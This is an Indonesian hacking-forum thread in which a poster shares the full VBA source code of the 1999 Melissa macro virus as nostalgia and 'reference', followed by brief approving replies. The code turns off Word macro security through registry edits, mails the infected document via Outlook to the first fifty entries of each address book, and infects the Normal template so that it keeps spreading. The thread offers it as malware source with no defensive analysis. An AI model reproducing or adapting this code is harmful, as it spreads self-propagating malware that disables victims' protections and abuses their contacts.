.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 Source Code Melissa Virus

Go down 
4 posters
PengirimMessage
zer03s
Administrator
Administrator
zer03s


Jumlah posting : 2471
Points : 4119
Reputation : 113
Join date : 13.12.10
Age : 32
Lokasi : /home/root/blackc0de

Source Code Melissa Virus  Empty
PostSubyek: Source Code Melissa Virus    Source Code Melissa Virus  Icon_minitimeTue Apr 10, 2012 1:44 am

just share gan...
masih ingat dulu virus yang satu ini sempat menggemparkan bagi pengguna PC dan internet. dan
pada bulan Maret 1999, virus Melissa begitu kuatnya sehingga memaksa Microsoft dan sejumlah perusahaan raksasa lainnya untuk benar-benar mematikan koneksi e-mail mereka sampai virus dapat diatasi.
dan virus melissa sempat masuk daftar 10 virus paling berbahaya... Source Code Melissa Virus  772168924
silakan baca-baca disini [You must be registered and logged in to see this link.]

emang keren virus yang satu ini :jempol1

kebetulan source code virus melissa sdh lama nangkring di hardisk saya, jadi sebagai referensi atau pembelajaran bagi yg ingin tau lebih dalam lagi virus melissa ane bagiin source codenya.

Code:
// Melissa Virus Source Code
 
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Mic*ft\Office\", "Melissa?") <> "... by David L. Smith"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
          Next oo
          BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
          BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else;-)"
          BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
          BreakUmOffASlice.Send
          Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Mic*ft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters.  Game's over.
I'm outta here."
End Sub


kalo mau tau lebih dalam lagi tentang virus ini monggo ke [You must be registered and logged in to see this link.]
Kembali Ke Atas Go down
http://zer03s.blog.com/
ughycode
NuuBiiTooL
NuuBiiTooL



Jumlah posting : 17
Points : 21
Reputation : 2
Join date : 21.08.11

Source Code Melissa Virus  Empty
PostSubyek: Re: Source Code Melissa Virus    Source Code Melissa Virus  Icon_minitimeTue Apr 10, 2012 2:32 am

wah ane jadi nostalgia nih om :)

makasih yaaa...... :pintar
Kembali Ke Atas Go down
dez@rck
Administrator
Administrator



Jumlah posting : 156
Points : 315
Reputation : 7
Join date : 14.12.10
Age : 32
Lokasi : local Root

Source Code Melissa Virus  Empty
PostSubyek: Re: Source Code Melissa Virus    Source Code Melissa Virus  Icon_minitimeTue Apr 10, 2012 2:47 am

VB yah oms... Source Code Melissa Virus  3529815765
Kembali Ke Atas Go down
robofics
VIP Member
VIP Member
robofics


Jumlah posting : 709
Points : 804
Reputation : 20
Join date : 22.12.11
Lokasi : /dev/null

Source Code Melissa Virus  Empty
PostSubyek: Re: Source Code Melissa Virus    Source Code Melissa Virus  Icon_minitimeTue Apr 10, 2012 3:45 pm

kekeke..ini virus makro jadul sekali ini kk Source Code Melissa Virus  3529815765
nais eniwei
Kembali Ke Atas Go down
http://robofics.wordpress.com
Sponsored content





Source Code Melissa Virus  Empty
PostSubyek: Re: Source Code Melissa Virus    Source Code Melissa Virus  Icon_minitime

Kembali Ke Atas Go down
 
Source Code Melissa Virus
Kembali Ke Atas 
Halaman 1 dari 1

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Virus,Malware,Trojan,Worm, Dll-
Navigasi: